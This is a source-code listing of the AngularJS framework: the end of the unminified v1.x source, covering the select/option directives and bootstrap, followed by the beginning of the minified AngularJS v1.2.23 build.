21823 // lastElement.prop('selected') provided by jQuery has side-effects
21824 if (lastElement[0].selected !== option.selected) {
21825 lastElement.prop('selected', (existingOption.selected = option.selected));
21826 if (msie) {
21827 // See #7692
21828 // The selected item wouldn't visually update on IE without this.
21829 // Tested on Win7: IE9, IE10 and IE11. Future IEs should be tested as well
21830 lastElement.prop('selected', existingOption.selected);
21831 }
21832 }
21833 } else {
21834 // grow elements
21835
21836 // if it's a null option
21837 if (option.id === '' && nullOption) {
21838 // put back the pre-compiled element
21839 element = nullOption;
21840 } else {
21841 // jQuery(v1.4.2) Bug: We should be able to chain the method calls, but
21842 // in this version of jQuery on some browser the .text() returns a string
21843 // rather then the element.
21844 (element = optionTemplate.clone())
21845 .val(option.id)
21846 .prop('selected', option.selected)
21847 .attr('selected', option.selected)
21848 .text(option.label);
21849 }
21850
21851 existingOptions.push(existingOption = {
21852 element: element,
21853 label: option.label,
21854 id: option.id,
21855 selected: option.selected
21856 });
21857 if (lastElement) {
21858 lastElement.after(element);
21859 } else {
21860 existingParent.element.append(element);
21861 }
21862 lastElement = element;
21863 }
21864 }
21865 // remove any excessive OPTIONs in a group
21866 index++; // increment since the existingOptions[0] is parent element not OPTION
21867 while(existingOptions.length > index) {
21868 existingOptions.pop().element.remove();
21869 }
21870 }
21871 // remove any excessive OPTGROUPs from select
21872 while(optionGroupsCache.length > groupIndex) {
21873 optionGroupsCache.pop()[0].element.remove();
21874 }
21875 }
21876 }
21877 }
21878 };
21879 }];
21880
21881 var optionDirective = ['$interpolate', function($interpolate) {
21882 var nullSelectCtrl = {
21883 addOption: noop,
21884 removeOption: noop
21885 };
21886
21887 return {
21888 restrict: 'E',
21889 priority: 100,
21890 compile: function(element, attr) {
21891 if (isUndefined(attr.value)) {
21892 var interpolateFn = $interpolate(element.text(), true);
21893 if (!interpolateFn) {
21894 attr.$set('value', element.text());
21895 }
21896 }
21897
21898 return function (scope, element, attr) {
21899 var selectCtrlName = '$selectController',
21900 parent = element.parent(),
21901 selectCtrl = parent.data(selectCtrlName) ||
21902 parent.parent().data(selectCtrlName); // in case we are in optgroup
21903
21904 if (selectCtrl && selectCtrl.databound) {
21905 // For some reason Opera defaults to true and if not overridden this messes up the repeater.
21906 // We don't want the view to drive the initialization of the model anyway.
21907 element.prop('selected', false);
21908 } else {
21909 selectCtrl = nullSelectCtrl;
21910 }
21911
21912 if (interpolateFn) {
21913 scope.$watch(interpolateFn, function interpolateWatchAction(newVal, oldVal) {
21914 attr.$set('value', newVal);
21915 if (newVal !== oldVal) selectCtrl.removeOption(oldVal);
21916 selectCtrl.addOption(newVal);
21917 });
21918 } else {
21919 selectCtrl.addOption(attr.value);
21920 }
21921
21922 element.on('$destroy', function() {
21923 selectCtrl.removeOption(attr.value);
21924 });
21925 };
21926 }
21927 };
21928 }];
21929
21930 var styleDirective = valueFn({
21931 restrict: 'E',
21932 terminal: true
21933 });
21934
21935 if (window.angular.bootstrap) {
21936 //AngularJS is already loaded, so we can return here...
21937 console.log('WARNING: Tried to load angular more than once.');
21938 return;
21939 }
21940
21941 //try to bind to jquery now so that one can write angular.element().read()
21942 //but we will rebind on bootstrap again.
21943 bindJQuery();
21944
21945 publishExternalAPI(angular);
21946
21947 jqLite(document).ready(function() {
21948 angularInit(document, bootstrap);
21949 });
21950
21951 })(window, document);
21952
21953 !window.angular.$$csp() && window.angular.element(document).find('head').prepend('<style type="text/css">@charset "UTF-8";[ng\\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide{display:none !important;}ng\\:form{display:block;}.ng-animate-block-transitions{transition:0s all!important;-webkit-transition:0s all!important;}.ng-hide-add-active,.ng-hide-remove{display:block!important;}</style>');
0 /*
1 AngularJS v1.2.23
2 (c) 2010-2014 Google, Inc. http://angularjs.org
3 License: MIT
4 */
5 (function(Q,X,t){'use strict';function x(b){return function(){var a=arguments[0],c,a="["+(b?b+":":"")+a+"] http://errors.angularjs.org/1.2.23/"+(b?b+"/":"")+a;for(c=1;c<arguments.length;c++)a=a+(1==c?"?":"&")+"p"+(c-1)+"="+encodeURIComponent("function"==typeof arguments[c]?arguments[c].toString().replace(/ \{[\s\S]*$/,""):"undefined"==typeof arguments[c]?"undefined":"string"!=typeof arguments[c]?JSON.stringify(arguments[c]):arguments[c]);return Error(a)}}function fb(b){if(null==b||Fa(b))return!1;
6 var a=b.length;return 1===b.nodeType&&a?!0:z(b)||H(b)||0===a||"number"===typeof a&&0<a&&a-1 in b}function r(b,a,c){var d;if(b)if(P(b))for(d in b)"prototype"==d||("length"==d||"name"==d||b.hasOwnProperty&&!b.hasOwnProperty(d))||a.call(c,b[d],d);else if(H(b)||fb(b))for(d=0;d<b.length;d++)a.call(c,b[d],d);else if(b.forEach&&b.forEach!==r)b.forEach(a,c);else for(d in b)b.hasOwnProperty(d)&&a.call(c,b[d],d);return b}function Zb(b){var a=[],c;for(c in b)b.hasOwnProperty(c)&&a.push(c);return a.sort()}function Tc(b,
7 a,c){for(var d=Zb(b),e=0;e<d.length;e++)a.call(c,b[d[e]],d[e]);return d}function $b(b){return function(a,c){b(c,a)}}function gb(){for(var b=la.length,a;b;){b--;a=la[b].charCodeAt(0);if(57==a)return la[b]="A",la.join("");if(90==a)la[b]="0";else return la[b]=String.fromCharCode(a+1),la.join("")}la.unshift("0");return la.join("")}function ac(b,a){a?b.$$hashKey=a:delete b.$$hashKey}function B(b){var a=b.$$hashKey;r(arguments,function(a){a!==b&&r(a,function(a,c){b[c]=a})});ac(b,a);return b}function Z(b){return parseInt(b,
8 10)}function bc(b,a){return B(new (B(function(){},{prototype:b})),a)}function y(){}function Ga(b){return b}function $(b){return function(){return b}}function D(b){return"undefined"===typeof b}function A(b){return"undefined"!==typeof b}function T(b){return null!=b&&"object"===typeof b}function z(b){return"string"===typeof b}function Ab(b){return"number"===typeof b}function sa(b){return"[object Date]"===ya.call(b)}function P(b){return"function"===typeof b}function hb(b){return"[object RegExp]"===ya.call(b)}
9 function Fa(b){return b&&b.document&&b.location&&b.alert&&b.setInterval}function Uc(b){return!(!b||!(b.nodeName||b.prop&&b.attr&&b.find))}function Vc(b,a,c){var d=[];r(b,function(b,f,g){d.push(a.call(c,b,f,g))});return d}function Qa(b,a){if(b.indexOf)return b.indexOf(a);for(var c=0;c<b.length;c++)if(a===b[c])return c;return-1}function Ra(b,a){var c=Qa(b,a);0<=c&&b.splice(c,1);return a}function Ha(b,a,c,d){if(Fa(b)||b&&b.$evalAsync&&b.$watch)throw Sa("cpws");if(a){if(b===a)throw Sa("cpi");c=c||[];
10 d=d||[];if(T(b)){var e=Qa(c,b);if(-1!==e)return d[e];c.push(b);d.push(a)}if(H(b))for(var f=a.length=0;f<b.length;f++)e=Ha(b[f],null,c,d),T(b[f])&&(c.push(b[f]),d.push(e)),a.push(e);else{var g=a.$$hashKey;H(a)?a.length=0:r(a,function(b,c){delete a[c]});for(f in b)e=Ha(b[f],null,c,d),T(b[f])&&(c.push(b[f]),d.push(e)),a[f]=e;ac(a,g)}}else if(a=b)H(b)?a=Ha(b,[],c,d):sa(b)?a=new Date(b.getTime()):hb(b)?(a=RegExp(b.source,b.toString().match(/[^\/]*$/)[0]),a.lastIndex=b.lastIndex):T(b)&&(a=Ha(b,{},c,d));
11 return a}function ga(b,a){if(H(b)){a=a||[];for(var c=0;c<b.length;c++)a[c]=b[c]}else if(T(b))for(c in a=a||{},b)!ib.call(b,c)||"$"===c.charAt(0)&&"$"===c.charAt(1)||(a[c]=b[c]);return a||b}function za(b,a){if(b===a)return!0;if(null===b||null===a)return!1;if(b!==b&&a!==a)return!0;var c=typeof b,d;if(c==typeof a&&"object"==c)if(H(b)){if(!H(a))return!1;if((c=b.length)==a.length){for(d=0;d<c;d++)if(!za(b[d],a[d]))return!1;return!0}}else{if(sa(b))return sa(a)?isNaN(b.getTime())&&isNaN(a.getTime())||b.getTime()===
12 a.getTime():!1;if(hb(b)&&hb(a))return b.toString()==a.toString();if(b&&b.$evalAsync&&b.$watch||a&&a.$evalAsync&&a.$watch||Fa(b)||Fa(a)||H(a))return!1;c={};for(d in b)if("$"!==d.charAt(0)&&!P(b[d])){if(!za(b[d],a[d]))return!1;c[d]=!0}for(d in a)if(!c.hasOwnProperty(d)&&"$"!==d.charAt(0)&&a[d]!==t&&!P(a[d]))return!1;return!0}return!1}function Bb(b,a){var c=2<arguments.length?Aa.call(arguments,2):[];return!P(a)||a instanceof RegExp?a:c.length?function(){return arguments.length?a.apply(b,c.concat(Aa.call(arguments,
13 0))):a.apply(b,c)}:function(){return arguments.length?a.apply(b,arguments):a.call(b)}}function Wc(b,a){var c=a;"string"===typeof b&&"$"===b.charAt(0)?c=t:Fa(a)?c="$WINDOW":a&&X===a?c="$DOCUMENT":a&&(a.$evalAsync&&a.$watch)&&(c="$SCOPE");return c}function ta(b,a){return"undefined"===typeof b?t:JSON.stringify(b,Wc,a?" ":null)}function cc(b){return z(b)?JSON.parse(b):b}function Ta(b){"function"===typeof b?b=!0:b&&0!==b.length?(b=N(""+b),b=!("f"==b||"0"==b||"false"==b||"no"==b||"n"==b||"[]"==b)):b=!1;
14 return b}function ha(b){b=u(b).clone();try{b.empty()}catch(a){}var c=u("<div>").append(b).html();try{return 3===b[0].nodeType?N(c):c.match(/^(<[^>]+>)/)[1].replace(/^<([\w\-]+)/,function(a,b){return"<"+N(b)})}catch(d){return N(c)}}function dc(b){try{return decodeURIComponent(b)}catch(a){}}function ec(b){var a={},c,d;r((b||"").split("&"),function(b){b&&(c=b.replace(/\+/g,"%20").split("="),d=dc(c[0]),A(d)&&(b=A(c[1])?dc(c[1]):!0,ib.call(a,d)?H(a[d])?a[d].push(b):a[d]=[a[d],b]:a[d]=b))});return a}function Cb(b){var a=
15 [];r(b,function(b,d){H(b)?r(b,function(b){a.push(Ba(d,!0)+(!0===b?"":"="+Ba(b,!0)))}):a.push(Ba(d,!0)+(!0===b?"":"="+Ba(b,!0)))});return a.length?a.join("&"):""}function jb(b){return Ba(b,!0).replace(/%26/gi,"&").replace(/%3D/gi,"=").replace(/%2B/gi,"+")}function Ba(b,a){return encodeURIComponent(b).replace(/%40/gi,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,a?"%20":"+")}function Xc(b,a){function c(a){a&&d.push(a)}var d=[b],e,f,g=["ng:app","ng-app","x-ng-app",
16 "data-ng-app"],k=/\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;r(g,function(a){g[a]=!0;c(X.getElementById(a));a=a.replace(":","\\:");b.querySelectorAll&&(r(b.querySelectorAll("."+a),c),r(b.querySelectorAll("."+a+"\\:"),c),r(b.querySelectorAll("["+a+"]"),c))});r(d,function(a){if(!e){var b=k.exec(" "+a.className+" ");b?(e=a,f=(b[2]||"").replace(/\s+/g,",")):r(a.attributes,function(b){!e&&g[b.name]&&(e=a,f=b.value)})}});e&&a(e,f?[f]:[])}function fc(b,a){var c=function(){b=u(b);if(b.injector()){var c=b[0]===X?
17 "document":ha(b);throw Sa("btstrpd",c.replace(/</,"&lt;").replace(/>/,"&gt;"));}a=a||[];a.unshift(["$provide",function(a){a.value("$rootElement",b)}]);a.unshift("ng");c=gc(a);c.invoke(["$rootScope","$rootElement","$compile","$injector","$animate",function(a,b,c,d,e){a.$apply(function(){b.data("$injector",d);c(b)(a)})}]);return c},d=/^NG_DEFER_BOOTSTRAP!/;if(Q&&!d.test(Q.name))return c();Q.name=Q.name.replace(d,"");Ua.resumeBootstrap=function(b){r(b,function(b){a.push(b)});c()}}function kb(b,a){a=
18 a||"_";return b.replace(Yc,function(b,d){return(d?a:"")+b.toLowerCase()})}function Db(b,a,c){if(!b)throw Sa("areq",a||"?",c||"required");return b}function Va(b,a,c){c&&H(b)&&(b=b[b.length-1]);Db(P(b),a,"not a function, got "+(b&&"object"===typeof b?b.constructor.name||"Object":typeof b));return b}function Ca(b,a){if("hasOwnProperty"===b)throw Sa("badname",a);}function hc(b,a,c){if(!a)return b;a=a.split(".");for(var d,e=b,f=a.length,g=0;g<f;g++)d=a[g],b&&(b=(e=b)[d]);return!c&&P(b)?Bb(e,b):b}function Eb(b){var a=
19 b[0];b=b[b.length-1];if(a===b)return u(a);var c=[a];do{a=a.nextSibling;if(!a)break;c.push(a)}while(a!==b);return u(c)}function Zc(b){var a=x("$injector"),c=x("ng");b=b.angular||(b.angular={});b.$$minErr=b.$$minErr||x;return b.module||(b.module=function(){var b={};return function(e,f,g){if("hasOwnProperty"===e)throw c("badname","module");f&&b.hasOwnProperty(e)&&(b[e]=null);return b[e]||(b[e]=function(){function b(a,d,e){return function(){c[e||"push"]([a,d,arguments]);return n}}if(!f)throw a("nomod",
20 e);var c=[],d=[],l=b("$injector","invoke"),n={_invokeQueue:c,_runBlocks:d,requires:f,name:e,provider:b("$provide","provider"),factory:b("$provide","factory"),service:b("$provide","service"),value:b("$provide","value"),constant:b("$provide","constant","unshift"),animation:b("$animateProvider","register"),filter:b("$filterProvider","register"),controller:b("$controllerProvider","register"),directive:b("$compileProvider","directive"),config:l,run:function(a){d.push(a);return this}};g&&l(g);return n}())}}())}
21 function $c(b){B(b,{bootstrap:fc,copy:Ha,extend:B,equals:za,element:u,forEach:r,injector:gc,noop:y,bind:Bb,toJson:ta,fromJson:cc,identity:Ga,isUndefined:D,isDefined:A,isString:z,isFunction:P,isObject:T,isNumber:Ab,isElement:Uc,isArray:H,version:ad,isDate:sa,lowercase:N,uppercase:Ia,callbacks:{counter:0},$$minErr:x,$$csp:Wa});Xa=Zc(Q);try{Xa("ngLocale")}catch(a){Xa("ngLocale",[]).provider("$locale",bd)}Xa("ng",["ngLocale"],["$provide",function(a){a.provider({$$sanitizeUri:cd});a.provider("$compile",
22 ic).directive({a:dd,input:jc,textarea:jc,form:ed,script:fd,select:gd,style:hd,option:id,ngBind:jd,ngBindHtml:kd,ngBindTemplate:ld,ngClass:md,ngClassEven:nd,ngClassOdd:od,ngCloak:pd,ngController:qd,ngForm:rd,ngHide:sd,ngIf:td,ngInclude:ud,ngInit:vd,ngNonBindable:wd,ngPluralize:xd,ngRepeat:yd,ngShow:zd,ngStyle:Ad,ngSwitch:Bd,ngSwitchWhen:Cd,ngSwitchDefault:Dd,ngOptions:Ed,ngTransclude:Fd,ngModel:Gd,ngList:Hd,ngChange:Id,required:kc,ngRequired:kc,ngValue:Jd}).directive({ngInclude:Kd}).directive(Fb).directive(lc);
23 a.provider({$anchorScroll:Ld,$animate:Md,$browser:Nd,$cacheFactory:Od,$controller:Pd,$document:Qd,$exceptionHandler:Rd,$filter:mc,$interpolate:Sd,$interval:Td,$http:Ud,$httpBackend:Vd,$location:Wd,$log:Xd,$parse:Yd,$rootScope:Zd,$q:$d,$sce:ae,$sceDelegate:be,$sniffer:ce,$templateCache:de,$timeout:ee,$window:fe,$$rAF:ge,$$asyncCallback:he})}])}function Ya(b){return b.replace(ie,function(a,b,d,e){return e?d.toUpperCase():d}).replace(je,"Moz$1")}function Gb(b,a,c,d){function e(b){var e=c&&b?[this.filter(b)]:
24 [this],m=a,h,l,n,p,q,s;if(!d||null!=b)for(;e.length;)for(h=e.shift(),l=0,n=h.length;l<n;l++)for(p=u(h[l]),m?p.triggerHandler("$destroy"):m=!m,q=0,p=(s=p.children()).length;q<p;q++)e.push(Da(s[q]));return f.apply(this,arguments)}var f=Da.fn[b],f=f.$original||f;e.$original=f;Da.fn[b]=e}function S(b){if(b instanceof S)return b;z(b)&&(b=aa(b));if(!(this instanceof S)){if(z(b)&&"<"!=b.charAt(0))throw Hb("nosel");return new S(b)}if(z(b)){var a=b;b=X;var c;if(c=ke.exec(a))b=[b.createElement(c[1])];else{var d=
25 b,e;b=d.createDocumentFragment();c=[];if(Ib.test(a)){d=b.appendChild(d.createElement("div"));e=(le.exec(a)||["",""])[1].toLowerCase();e=ba[e]||ba._default;d.innerHTML="<div>&#160;</div>"+e[1]+a.replace(me,"<$1></$2>")+e[2];d.removeChild(d.firstChild);for(a=e[0];a--;)d=d.lastChild;a=0;for(e=d.childNodes.length;a<e;++a)c.push(d.childNodes[a]);d=b.firstChild;d.textContent=""}else c.push(d.createTextNode(a));b.textContent="";b.innerHTML="";b=c}Jb(this,b);u(X.createDocumentFragment()).append(this)}else Jb(this,
26 b)}function Kb(b){return b.cloneNode(!0)}function Ja(b){Lb(b);var a=0;for(b=b.childNodes||[];a<b.length;a++)Ja(b[a])}function nc(b,a,c,d){if(A(d))throw Hb("offargs");var e=ma(b,"events");ma(b,"handle")&&(D(a)?r(e,function(a,c){Za(b,c,a);delete e[c]}):r(a.split(" "),function(a){D(c)?(Za(b,a,e[a]),delete e[a]):Ra(e[a]||[],c)}))}function Lb(b,a){var c=b.ng339,d=$a[c];d&&(a?delete $a[c].data[a]:(d.handle&&(d.events.$destroy&&d.handle({},"$destroy"),nc(b)),delete $a[c],b.ng339=t))}function ma(b,a,c){var d=
27 b.ng339,d=$a[d||-1];if(A(c))d||(b.ng339=d=++ne,d=$a[d]={}),d[a]=c;else return d&&d[a]}function Mb(b,a,c){var d=ma(b,"data"),e=A(c),f=!e&&A(a),g=f&&!T(a);d||g||ma(b,"data",d={});if(e)d[a]=c;else if(f){if(g)return d&&d[a];B(d,a)}else return d}function Nb(b,a){return b.getAttribute?-1<(" "+(b.getAttribute("class")||"")+" ").replace(/[\n\t]/g," ").indexOf(" "+a+" "):!1}function lb(b,a){a&&b.setAttribute&&r(a.split(" "),function(a){b.setAttribute("class",aa((" "+(b.getAttribute("class")||"")+" ").replace(/[\n\t]/g,
28 " ").replace(" "+aa(a)+" "," ")))})}function mb(b,a){if(a&&b.setAttribute){var c=(" "+(b.getAttribute("class")||"")+" ").replace(/[\n\t]/g," ");r(a.split(" "),function(a){a=aa(a);-1===c.indexOf(" "+a+" ")&&(c+=a+" ")});b.setAttribute("class",aa(c))}}function Jb(b,a){if(a){a=a.nodeName||!A(a.length)||Fa(a)?[a]:a;for(var c=0;c<a.length;c++)b.push(a[c])}}function oc(b,a){return nb(b,"$"+(a||"ngController")+"Controller")}function nb(b,a,c){9==b.nodeType&&(b=b.documentElement);for(a=H(a)?a:[a];b;){for(var d=
29 0,e=a.length;d<e;d++)if((c=u.data(b,a[d]))!==t)return c;b=b.parentNode||11===b.nodeType&&b.host}}function pc(b){for(var a=0,c=b.childNodes;a<c.length;a++)Ja(c[a]);for(;b.firstChild;)b.removeChild(b.firstChild)}function qc(b,a){var c=ob[a.toLowerCase()];return c&&rc[b.nodeName]&&c}function oe(b,a){var c=function(c,e){c.preventDefault||(c.preventDefault=function(){c.returnValue=!1});c.stopPropagation||(c.stopPropagation=function(){c.cancelBubble=!0});c.target||(c.target=c.srcElement||X);if(D(c.defaultPrevented)){var f=
30 c.preventDefault;c.preventDefault=function(){c.defaultPrevented=!0;f.call(c)};c.defaultPrevented=!1}c.isDefaultPrevented=function(){return c.defaultPrevented||!1===c.returnValue};var g=ga(a[e||c.type]||[]);r(g,function(a){a.call(b,c)});8>=R?(c.preventDefault=null,c.stopPropagation=null,c.isDefaultPrevented=null):(delete c.preventDefault,delete c.stopPropagation,delete c.isDefaultPrevented)};c.elem=b;return c}function Ka(b,a){var c=typeof b,d;"function"==c||"object"==c&&null!==b?"function"==typeof(d=
31 b.$$hashKey)?d=b.$$hashKey():d===t&&(d=b.$$hashKey=(a||gb)()):d=b;return c+":"+d}function ab(b,a){if(a){var c=0;this.nextUid=function(){return++c}}r(b,this.put,this)}function sc(b){var a,c;"function"===typeof b?(a=b.$inject)||(a=[],b.length&&(c=b.toString().replace(pe,""),c=c.match(qe),r(c[1].split(re),function(b){b.replace(se,function(b,c,d){a.push(d)})})),b.$inject=a):H(b)?(c=b.length-1,Va(b[c],"fn"),a=b.slice(0,c)):Va(b,"fn",!0);return a}function gc(b){function a(a){return function(b,c){if(T(b))r(b,
32 $b(a));else return a(b,c)}}function c(a,b){Ca(a,"service");if(P(b)||H(b))b=n.instantiate(b);if(!b.$get)throw bb("pget",a);return l[a+k]=b}function d(a,b){return c(a,{$get:b})}function e(a){var b=[],c,d,f,k;r(a,function(a){if(!h.get(a)){h.put(a,!0);try{if(z(a))for(c=Xa(a),b=b.concat(e(c.requires)).concat(c._runBlocks),d=c._invokeQueue,f=0,k=d.length;f<k;f++){var g=d[f],m=n.get(g[0]);m[g[1]].apply(m,g[2])}else P(a)?b.push(n.invoke(a)):H(a)?b.push(n.invoke(a)):Va(a,"module")}catch(l){throw H(a)&&(a=
33 a[a.length-1]),l.message&&(l.stack&&-1==l.stack.indexOf(l.message))&&(l=l.message+"\n"+l.stack),bb("modulerr",a,l.stack||l.message||l);}}});return b}function f(a,b){function c(d){if(a.hasOwnProperty(d)){if(a[d]===g)throw bb("cdep",d+" <- "+m.join(" <- "));return a[d]}try{return m.unshift(d),a[d]=g,a[d]=b(d)}catch(e){throw a[d]===g&&delete a[d],e;}finally{m.shift()}}function d(a,b,e){var f=[],k=sc(a),g,m,h;m=0;for(g=k.length;m<g;m++){h=k[m];if("string"!==typeof h)throw bb("itkn",h);f.push(e&&e.hasOwnProperty(h)?
34 e[h]:c(h))}H(a)&&(a=a[g]);return a.apply(b,f)}return{invoke:d,instantiate:function(a,b){var c=function(){},e;c.prototype=(H(a)?a[a.length-1]:a).prototype;c=new c;e=d(a,c,b);return T(e)||P(e)?e:c},get:c,annotate:sc,has:function(b){return l.hasOwnProperty(b+k)||a.hasOwnProperty(b)}}}var g={},k="Provider",m=[],h=new ab([],!0),l={$provide:{provider:a(c),factory:a(d),service:a(function(a,b){return d(a,["$injector",function(a){return a.instantiate(b)}])}),value:a(function(a,b){return d(a,$(b))}),constant:a(function(a,
35 b){Ca(a,"constant");l[a]=b;p[a]=b}),decorator:function(a,b){var c=n.get(a+k),d=c.$get;c.$get=function(){var a=q.invoke(d,c);return q.invoke(b,null,{$delegate:a})}}}},n=l.$injector=f(l,function(){throw bb("unpr",m.join(" <- "));}),p={},q=p.$injector=f(p,function(a){a=n.get(a+k);return q.invoke(a.$get,a)});r(e(b),function(a){q.invoke(a||y)});return q}function Ld(){var b=!0;this.disableAutoScrolling=function(){b=!1};this.$get=["$window","$location","$rootScope",function(a,c,d){function e(a){var b=null;
36 r(a,function(a){b||"a"!==N(a.nodeName)||(b=a)});return b}function f(){var b=c.hash(),d;b?(d=g.getElementById(b))?d.scrollIntoView():(d=e(g.getElementsByName(b)))?d.scrollIntoView():"top"===b&&a.scrollTo(0,0):a.scrollTo(0,0)}var g=a.document;b&&d.$watch(function(){return c.hash()},function(){d.$evalAsync(f)});return f}]}function he(){this.$get=["$$rAF","$timeout",function(b,a){return b.supported?function(a){return b(a)}:function(b){return a(b,0,!1)}}]}function te(b,a,c,d){function e(a){try{a.apply(null,
37 Aa.call(arguments,1))}finally{if(s--,0===s)for(;L.length;)try{L.pop()()}catch(b){c.error(b)}}}function f(a,b){(function ca(){r(v,function(a){a()});C=b(ca,a)})()}function g(){w=null;O!=k.url()&&(O=k.url(),r(da,function(a){a(k.url())}))}var k=this,m=a[0],h=b.location,l=b.history,n=b.setTimeout,p=b.clearTimeout,q={};k.isMock=!1;var s=0,L=[];k.$$completeOutstandingRequest=e;k.$$incOutstandingRequestCount=function(){s++};k.notifyWhenNoOutstandingRequests=function(a){r(v,function(a){a()});0===s?a():L.push(a)};
38 var v=[],C;k.addPollFn=function(a){D(C)&&f(100,n);v.push(a);return a};var O=h.href,I=a.find("base"),w=null;k.url=function(a,c){h!==b.location&&(h=b.location);l!==b.history&&(l=b.history);if(a){if(O!=a)return O=a,d.history?c?l.replaceState(null,"",a):(l.pushState(null,"",a),I.attr("href",I.attr("href"))):(w=a,c?h.replace(a):h.href=a),k}else return w||h.href.replace(/%27/g,"'")};var da=[],K=!1;k.onUrlChange=function(a){if(!K){if(d.history)u(b).on("popstate",g);if(d.hashchange)u(b).on("hashchange",g);
39 else k.addPollFn(g);K=!0}da.push(a);return a};k.baseHref=function(){var a=I.attr("href");return a?a.replace(/^(https?\:)?\/\/[^\/]*/,""):""};var W={},ea="",J=k.baseHref();k.cookies=function(a,b){var d,e,f,k;if(a)b===t?m.cookie=escape(a)+"=;path="+J+";expires=Thu, 01 Jan 1970 00:00:00 GMT":z(b)&&(d=(m.cookie=escape(a)+"="+escape(b)+";path="+J).length+1,4096<d&&c.warn("Cookie '"+a+"' possibly not set or overflowed because it was too large ("+d+" > 4096 bytes)!"));else{if(m.cookie!==ea)for(ea=m.cookie,
40 d=ea.split("; "),W={},f=0;f<d.length;f++)e=d[f],k=e.indexOf("="),0<k&&(a=unescape(e.substring(0,k)),W[a]===t&&(W[a]=unescape(e.substring(k+1))));return W}};k.defer=function(a,b){var c;s++;c=n(function(){delete q[c];e(a)},b||0);q[c]=!0;return c};k.defer.cancel=function(a){return q[a]?(delete q[a],p(a),e(y),!0):!1}}function Nd(){this.$get=["$window","$log","$sniffer","$document",function(b,a,c,d){return new te(b,d,a,c)}]}function Od(){this.$get=function(){function b(b,d){function e(a){a!=n&&(p?p==a&&
41 (p=a.n):p=a,f(a.n,a.p),f(a,n),n=a,n.n=null)}function f(a,b){a!=b&&(a&&(a.p=b),b&&(b.n=a))}if(b in a)throw x("$cacheFactory")("iid",b);var g=0,k=B({},d,{id:b}),m={},h=d&&d.capacity||Number.MAX_VALUE,l={},n=null,p=null;return a[b]={put:function(a,b){if(h<Number.MAX_VALUE){var c=l[a]||(l[a]={key:a});e(c)}if(!D(b))return a in m||g++,m[a]=b,g>h&&this.remove(p.key),b},get:function(a){if(h<Number.MAX_VALUE){var b=l[a];if(!b)return;e(b)}return m[a]},remove:function(a){if(h<Number.MAX_VALUE){var b=l[a];if(!b)return;
42 b==n&&(n=b.p);b==p&&(p=b.n);f(b.n,b.p);delete l[a]}delete m[a];g--},removeAll:function(){m={};g=0;l={};n=p=null},destroy:function(){l=k=m=null;delete a[b]},info:function(){return B({},k,{size:g})}}}var a={};b.info=function(){var b={};r(a,function(a,e){b[e]=a.info()});return b};b.get=function(b){return a[b]};return b}}function de(){this.$get=["$cacheFactory",function(b){return b("templates")}]}function ic(b,a){var c={},d="Directive",e=/^\s*directive\:\s*([\d\w_\-]+)\s+(.*)$/,f=/(([\d\w_\-]+)(?:\:([^;]+))?;?)/,
43 g=/^(on[a-z]+|formaction)$/;this.directive=function m(a,e){Ca(a,"directive");z(a)?(Db(e,"directiveFactory"),c.hasOwnProperty(a)||(c[a]=[],b.factory(a+d,["$injector","$exceptionHandler",function(b,d){var e=[];r(c[a],function(c,f){try{var g=b.invoke(c);P(g)?g={compile:$(g)}:!g.compile&&g.link&&(g.compile=$(g.link));g.priority=g.priority||0;g.index=f;g.name=g.name||a;g.require=g.require||g.controller&&g.name;g.restrict=g.restrict||"A";e.push(g)}catch(m){d(m)}});return e}])),c[a].push(e)):r(a,$b(m));
44 return this};this.aHrefSanitizationWhitelist=function(b){return A(b)?(a.aHrefSanitizationWhitelist(b),this):a.aHrefSanitizationWhitelist()};this.imgSrcSanitizationWhitelist=function(b){return A(b)?(a.imgSrcSanitizationWhitelist(b),this):a.imgSrcSanitizationWhitelist()};this.$get=["$injector","$interpolate","$exceptionHandler","$http","$templateCache","$parse","$controller","$rootScope","$document","$sce","$animate","$$sanitizeUri",function(a,b,l,n,p,q,s,L,v,C,O,I){function w(a,b,c,d,e){a instanceof
45 u||(a=u(a));r(a,function(b,c){3==b.nodeType&&b.nodeValue.match(/\S+/)&&(a[c]=u(b).wrap("<span></span>").parent()[0])});var f=K(a,b,a,c,d,e);da(a,"ng-scope");return function(b,c,d,e){Db(b,"scope");var g=c?La.clone.call(a):a;r(d,function(a,b){g.data("$"+b+"Controller",a)});d=0;for(var m=g.length;d<m;d++){var h=g[d].nodeType;1!==h&&9!==h||g.eq(d).data("$scope",b)}c&&c(g,b);f&&f(b,g,g,e);return g}}function da(a,b){try{a.addClass(b)}catch(c){}}function K(a,b,c,d,e,f){function g(a,c,d,e){var f,h,l,q,n,
46 p,s;f=c.length;var M=Array(f);for(q=0;q<f;q++)M[q]=c[q];p=q=0;for(n=m.length;q<n;p++)h=M[p],c=m[q++],f=m[q++],c?(c.scope?(l=a.$new(),u.data(h,"$scope",l)):l=a,s=c.transcludeOnThisElement?W(a,c.transclude,e):!c.templateOnThisElement&&e?e:!e&&b?W(a,b):null,c(f,l,h,d,s)):f&&f(a,h.childNodes,t,e)}for(var m=[],h,l,q,n,p=0;p<a.length;p++)h=new Ob,l=ea(a[p],[],h,0===p?d:t,e),(f=l.length?F(l,a[p],h,b,c,null,[],[],f):null)&&f.scope&&da(h.$$element,"ng-scope"),h=f&&f.terminal||!(q=a[p].childNodes)||!q.length?
47 null:K(q,f?(f.transcludeOnThisElement||!f.templateOnThisElement)&&f.transclude:b),m.push(f,h),n=n||f||h,f=null;return n?g:null}function W(a,b,c){return function(d,e,f){var g=!1;d||(d=a.$new(),g=d.$$transcluded=!0);e=b(d,e,f,c);if(g)e.on("$destroy",function(){d.$destroy()});return e}}function ea(a,b,c,d,g){var h=c.$attr,m;switch(a.nodeType){case 1:ca(b,na(Ma(a).toLowerCase()),"E",d,g);for(var l,q,n,p=a.attributes,s=0,L=p&&p.length;s<L;s++){var C=!1,O=!1;l=p[s];if(!R||8<=R||l.specified){m=l.name;q=
